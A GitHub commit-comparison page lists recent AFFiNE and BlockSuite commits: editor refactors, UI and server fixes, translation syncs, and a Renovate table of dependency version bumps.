Compare commits

...

1142 Commits

Author SHA1 Message Date
zzj3720 b15a2a9638 fix(editor): adjust the style of the table block 2025-02-21 17:10:06 +08:00
Saul-Mirone f3218ab3bc refactor(editor): rename presets to integration test (#10340) 2025-02-21 06:26:03 +00:00
L-Sun f79324b6a1 chore(editor): update shadow of ask-ai-panel (#10336)
Close [PD-2343](https://linear.app/affine-design/issue/PD-2343/[ui]-ai-面板-shadow-改为-overlaypanelshadow)
2025-02-21 06:12:05 +00:00
Saul-Mirone adcc6b578c refactor(editor): move editor components to frontend core (#10335)
### TL;DR
Moved editor components from BlockSuite presets to AFFiNE core and updated imports accordingly.

### What changed?
- Relocated `EdgelessEditor` and `PageEditor` components from BlockSuite presets to AFFiNE core
- Removed basic editor examples from playground
- Updated import paths across the codebase to reference new component locations
- Added editor effects registration in AFFiNE core
- Removed editor exports from BlockSuite presets

### How to test?
1. Launch the application
2. Verify both page and edgeless editors load correctly
3. Confirm editor functionality remains intact including:
   - Document editing
   - Mode switching
   - Editor toolbars and controls
   - Multiple editor instances

### Why make this change?
This change better aligns with AFFiNE's architecture by moving editor components closer to where they are used. It reduces coupling with BlockSuite presets and gives AFFiNE more direct control over editor customization and implementation.
2025-02-21 04:28:54 +00:00
fengmk2 7f833f8c15 fix(server): don't sync blob meta on workspace deleted event (#10334)
close CLOUD-128
2025-02-21 04:11:57 +00:00
JimmFly 785951bbfa fix(core): adjust copy link button styles (#10337)
close PD-2344
![CleanShot 2025-02-21 at 11 22 32@2x](https://github.com/user-attachments/assets/97d1052b-c900-47df-89ba-476787a28587)
![CleanShot 2025-02-21 at 11 22 08@2x](https://github.com/user-attachments/assets/2b455797-dfc8-4572-95ac-3ee8b33b0528)
2025-02-21 03:58:03 +00:00
fundon 19e9f970f4 fix(editor): block selected style in note under edgeless (#10326)
Related to: https://github.com/toeverything/AFFiNE/pull/9849

Currently missing selected style in note under edgeless.
<img width="860" alt="Screenshot 2025-02-20 at 20 51 12" src="https://github.com/user-attachments/assets/77d68cfb-13d0-4e09-a567-f2a30ba72db1" />
2025-02-21 03:43:54 +00:00
doodlewind c362737441 perf(editor): reduce dom ops in viewport update (#10333) 2025-02-21 03:30:10 +00:00
EYHN 618042812b fix(nbstore): fix cloud awareness (#10320) 2025-02-21 11:11:10 +08:00
fengmk2 0ff7c5f897 fix(server): gen new request id on websocket event request (#10330)
After

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/22431b9a-30e8-48a3-8db6-de377671f9b7.png)
2025-02-21 02:00:58 +00:00
Saul-Mirone b8dcb85007 refactor: move outline fragment to separate package (#10331)
### TL;DR

Moved outline functionality into a dedicated fragment package and updated vanilla-extract CSS dependency.

### What changed?

- Created new `@blocksuite/affine-fragment-outline` package
- Relocated outline-related code from presets to the new fragment package
- Updated imports across affected files to reference the new package location
- Upgraded `@vanilla-extract/css` dependency from 1.14.0/1.16.1 to 1.17.0
- Added necessary package configuration and TypeScript setup for the new fragment

### How to test?

1. Verify outline functionality works as expected in both desktop and mobile views
2. Check that outline panel, viewer, and mobile menu components render correctly
3. Ensure outline navigation and interactions continue to work
4. Confirm no regressions in outline-related features

### Why make this change?

This change improves code organization by isolating outline functionality into a dedicated package, following the modular architecture pattern. This makes the codebase more maintainable and allows for better separation of concerns. The vanilla-extract CSS upgrade ensures consistency across packages and provides access to the latest features and fixes.
2025-02-20 15:59:13 +00:00
Saul-Mirone 5ac15f12e6 refactor: replace editor container with editor host (#10328)
### TL;DR
Refactored editor access to use `EditorHost` instead of `AffineEditorContainer` and updated mode access through `DocModeProvider`.

### What changed?
- Changed editor property types from `AffineEditorContainer` to `EditorHost` across multiple components
- Updated mode access to use `DocModeProvider` service instead of direct editor mode access
- Modified editor references to use `editor.host` where appropriate
- Updated scroll and highlight utilities to work with `EditorHost`

### How to test?
1. Open a document in both page and edgeless modes
2. Verify outline panel functionality works as expected
3. Test outline viewer navigation and highlighting
4. Confirm mobile outline menu operates correctly
5. Check that frame panel and TOC features work in all modes

### Why make this change?
This change improves architectural consistency by using `EditorHost` directly and accessing mode through the proper service provider. This makes the code more maintainable and follows better dependency practices by using the correct abstraction levels.
2025-02-20 14:20:32 +00:00
akumatus efe36161e8 fix(core): remove candidate doc chip suggestions (#10327)
Fix issue [AF-2247](https://linear.app/affine-design/issue/AF-2247).
2025-02-20 14:01:00 +00:00
akumatus 126677d7ad fix(core): no pop-ups if user click discard menu item (#10317)
Fix issue [BS-2628](https://linear.app/affine-design/issue/BS-2628).
2025-02-20 13:29:28 +00:00
Saul-Mirone 007bbabce4 refactor: move frame manager and panel to separate packages (#10324)
### TL;DR
Moved frame management functionality from `blocksuite/blocks` to `@blocksuite/affine-block-frame` package.

### What changed?
- Relocated `frame-manager.ts` from `blocksuite/blocks` to `@blocksuite/affine-block-frame`
- Added new dependencies to block-frame package: `@blocksuite/affine-block-surface` and `yjs`
- Updated imports across multiple components to reference frame manager from its new location
- Moved utility functions `areSetsEqual` and `isFrameBlock` into frame-manager file
- Replaced direct EdgelessRootService references with GfxController in frame panel components

### How to test?
1. Verify frame functionality works in edgeless mode
2. Test frame creation, selection, and manipulation
3. Confirm frame navigation and presentation modes operate correctly
4. Check that frame panel and toolbar interactions remain functional

### Why make this change?
This refactoring improves code organization by consolidating frame-related functionality into a dedicated package, making the codebase more modular and easier to maintain. It also reduces dependencies between packages and provides clearer boundaries for frame-related features.
2025-02-20 13:06:40 +00:00
doodlewind 64cc99354e refactor(editor): add zoom threshold for dom rendering fallback (#10322) 2025-02-20 11:45:19 +00:00
Saul-Mirone 1516903c77 refactor: move doc-title and ai-chat-block components (#10316)
### TL;DR
Moved doc title and AI chat block components to more appropriate locations while removing unused backlink functionality.

### What changed?
- Relocated doc title component from presets to affine-components
- Moved AI chat block from presets/blocks to blocks directory
- Removed unused backlink-related code and components
- Updated imports across files to reference new component locations
- Consolidated AI-related exports through a single entry point

### How to test?
1. Verify doc title still renders correctly in documents
2. Confirm AI chat functionality works as expected
3. Check that no backlink-related features are accessible
4. Ensure all AI features continue to work through the new import paths

### Why make this change?
This reorganization improves code organization by:
- Placing components closer to their related functionality
- Removing dead/unused code around backlinks
- Simplifying the import structure for AI-related features
- Making the codebase more maintainable by consolidating related components
2025-02-20 10:45:47 +00:00
EYHN 4f831732e1 fix(core): fix throw if aborted polyfill (#10321) 2025-02-20 10:32:02 +00:00
zzj3720 ef28e36441 fix(editor): data in the database will be completely overwritten in some cases (#10318) 2025-02-20 10:17:57 +00:00
doodlewind 7b1dfb7ee8 refactor(editor): reduce dom query per refresh (#10319) 2025-02-20 10:01:13 +00:00
Hwang 5fcc402280 style: update ios dark icon (#10312) 2025-02-20 08:01:32 +00:00
DarkSky fa86f71853 feat(server): client version check (#9205)
Co-authored-by: forehalo <forehalo@gmail.com>
2025-02-20 15:50:22 +08:00
L-Sun 4fee2a9c4b chore(editor): update some widget styles (#10311) 2025-02-20 15:39:48 +08:00
fengmk2 b4097aef8e refactor(server): move bin content parser to doc reader (#10302) 2025-02-20 07:19:48 +00:00
Saul-Mirone 9f4311f654 refactor(editor): remove AbstractEditor type and feature flags in test (#10308) 2025-02-20 07:05:35 +00:00
darkskygit 13f1859cdf feat: allow retry with new message (#10307)
fix AF-1630
2025-02-20 06:07:53 +00:00
Flrande 50820482df fix(editor): auto focus after add inline latex (#10309)
https://github.com/user-attachments/assets/09e713ee-e600-464c-8614-d874d343cfb0

Close #10208
2025-02-20 05:52:06 +00:00
forehalo ec67d30b27 chore(server): race condition during fixing doc owner (#10303) 2025-02-20 05:34:55 +00:00
forehalo fd5897dbe6 chore(server): disable nightly subscriptions expirasion check (#10298) 2025-02-20 05:34:54 +00:00
liuyi d490e767eb fix(server): wrong previous subscription check (#10306) 2025-02-20 13:33:49 +08:00
fundon adc003862b fix(editor): image size and xywh when converting attachment to image (#10200)
In Edgeless, the image size should be read when converting attachment to image:

* fix `size`
* fix `xywh`
2025-02-20 05:16:21 +00:00
fengmk2 ff0ce1a962 fix(server): remove job on complete (#10305) 2025-02-20 04:39:05 +00:00
EYHN 5042d9f644 fix(nbstore): check before save empty update (#10304) 2025-02-20 04:24:50 +00:00
JimmFly 1d339c682b fix(core): adjust share menu and upgrade-to-team page style (#10299)
close PD-2330 PD-2331 AF-2238
2025-02-20 04:10:52 +00:00
doodlewind b38abcb59c perf(editor): avoid recreation of Intl.Segmenter (#10295)
<img width="537" alt="image" src="https://github.com/user-attachments/assets/43e54d94-6228-4c26-b3d0-cf4725b251e4" />
2025-02-20 03:55:57 +00:00
Saul-Mirone c3fc0a0d88 chore(editor): fix imports in legacy tests (#10300) 2025-02-20 03:30:05 +00:00
fengmk2 e0b2b2b33c fix(server): convert error type to lower case (#10301) 2025-02-20 03:04:21 +00:00
zzj3720 ba91b36cc3 feat(editor): add block creation tracking (#10294)
fix: PD-2090
2025-02-20 02:25:29 +00:00
github-actions[bot] a0e3f9909c chore(i18n): sync translations (#10184)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2025-02-20 02:25:19 +00:00
EYHN 8f6ce2c3b4 fix(nbstore): fix doc clock comparison (#10296) 2025-02-20 10:10:17 +08:00
zzj3720 d8435421d2 fix(editor): improve table selection in edgeless mode (#10293)
fix: BS-2614, BS-2560
2025-02-20 01:50:40 +00:00
doodlewind 676ccc9094 refactor(editor): allow force refresh in worker renderer (#10289) 2025-02-19 14:23:45 +00:00
Saul-Mirone 091ba7bb51 chore: remove createEmptyEditor legacy test misc (#10291) 2025-02-19 21:38:00 +08:00
donteatfriedrice 2b11941c0e chore: bump theme (#10290) 2025-02-19 11:37:19 +00:00
forehalo 02f567f2c0 chore(core): better doc action error message (#10288) 2025-02-19 10:38:38 +00:00
donteatfriedrice 54b7515167 fix(editor): log when export blob failed (#10287) 2025-02-19 10:06:50 +00:00
CatsJuice e726df9a1b fix(core): prevent all-docs header from overlapping scrollbar (#10270) 2025-02-19 09:24:49 +00:00
CatsJuice 926b35c91f chore(core): temporarily hide editor starter-bar on mobile (#10237) 2025-02-19 09:10:26 +00:00
JimmFly b456feee63 fix(core): unexpected redirect to expired page after accepting invitation (#10257)
Co-authored-by: EYHN <cneyhn@gmail.com>
2025-02-19 09:10:12 +00:00
JimmFly 487158b9ca fix(core): incorrect permissions displayed in member management (#10269) 2025-02-19 16:58:06 +08:00
EYHN 5b768d9091 fix(nbstore): close full blob sync for iOS (#10286) 2025-02-19 16:57:32 +08:00
Saul-Mirone 90b0982dd3 fix(editor): hide edgeless only note in synced doc block (#10277)
Closes: [BS-2616](https://linear.app/affine-design/issue/BS-2616/embed-view-%E5%B1%95%E7%A4%BA%E4%B8%8D%E8%AF%A5%E5%87%BA%E7%8E%B0%E7%9A%84-note-%E5%86%85%E5%AE%B9)
2025-02-19 08:40:26 +00:00
JimmFly e5a1595980 feat(core): add tracking events to doc role management (#10221) 2025-02-19 16:39:50 +08:00
Flrande bc34516e6c fix(editor): embed sync doc theme not reactive (#10283) 2025-02-19 16:38:05 +08:00
liuyi 521ee9d374 fix(server): doc owner and default role permission (#10281) 2025-02-19 08:29:46 +00:00
L-Sun 61ee5531f4 fix(core): incorrect root config identifier (#10285) 2025-02-19 08:20:22 +00:00
EYHN 0f770093b0 fix(nbstore): better diff function for doc update (#10284) 2025-02-19 08:06:51 +00:00
Cats Juice 2d9162b3c4 style(core): adjust ai icon color in starter-bar (#10280) 2025-02-19 16:05:34 +08:00
EYHN c39a93e1fd fix(nbstore): fix v1 doc storage timestamp (#10282) 2025-02-19 16:04:37 +08:00
EYHN 53cada4640 fix(core): throttle sync progress update (#10278) 2025-02-19 07:45:46 +00:00
EYHN 60a9572c88 fix(core): remove crypto randomuuid api (#10268) 2025-02-19 07:32:01 +00:00
Yifeng Wang e5315087cb chore(editor): allow remote debug in presets dev entry (#10279) 2025-02-19 15:15:48 +08:00
donteatfriedrice 319d909ac8 fix(editor): paste surface-ref block to another doc as embed-linked-doc block (#10274)
[BS-2155](https://linear.app/affine-design/issue/BS-2155/复制-insert-frame-group-粘贴后,应当变为-block-ref-link)
2025-02-19 07:02:27 +00:00
JimmFly 751f229e30 fix(core): unexpectedly jump to price plan when selfhosting (#10247) 2025-02-19 07:01:54 +00:00
EYHN c0cc4224bb feat(core): close popup after oauth login (#10273) 2025-02-19 14:44:02 +08:00
liuyi b50e507fc5 fix(core): wrong i18n key used (#10275) 2025-02-19 14:43:39 +08:00
liuyi 294002101d fix(server): wrong queue options for worker executor (#10267) 2025-02-19 04:44:23 +00:00
fengmk2 320875425c fix: replace all CRLF in email token (#10271) 2025-02-19 04:07:43 +00:00
doouding dad39d1129 fix: handle unsupported image upload (#10272) 2025-02-19 03:47:48 +00:00
CatsJuice 35f7f5a01b chore(mobile): adjust setting dialog swipe gesture trigger size (#10236) 2025-02-19 02:41:41 +00:00
pengx17 29f8a627b6 fix(core): center peek doc view circular deps (#10253) 2025-02-19 02:23:53 +00:00
EYHN 5a7ab880c1 fix(core): fix ios blob upload (#10263) 2025-02-19 10:07:46 +08:00
Oleg b20d316d60 fix(editor): ui bugs in linked document embed view (#10105)
Co-authored-by: Mirone <Saul-Mirone@outlook.com>
2025-02-18 23:29:58 +08:00
renovate dc7e7cfc75 chore: bump up all non-major dependencies (#10132)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.744.0` -> `3.750.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`7.1.6` -> `7.2.16`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/7.1.6/7.2.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/7.1.6/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/7.1.6/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@graphql-codegen/cli](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/graphql-codegen-cli)) | [`5.0.4` -> `5.0.5`](https://renovatebot.com/diffs/npm/@graphql-codegen%2fcli/5.0.4/5.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2fcli/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2fcli/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2fcli/5.0.4/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2fcli/5.0.4/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@lit/context](https://lit.dev/) ([source](https://redirect.github.com/lit/lit/tree/HEAD/packages/context)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@lit%2fcontext/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@lit%2fcontext/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@lit%2fcontext/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@lit%2fcontext/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@lit%2fcontext/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.54.0` -> `8.55.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.54.0/8.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.54.0/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.54.0/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.15` -> `1.10.17`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.15/1.10.17) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.15/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.15/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`22.13.1` -> `22.13.4`](https://renovatebot.com/diffs/npm/@types%2fnode/22.13.1/22.13.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/22.13.1/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/22.13.1/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
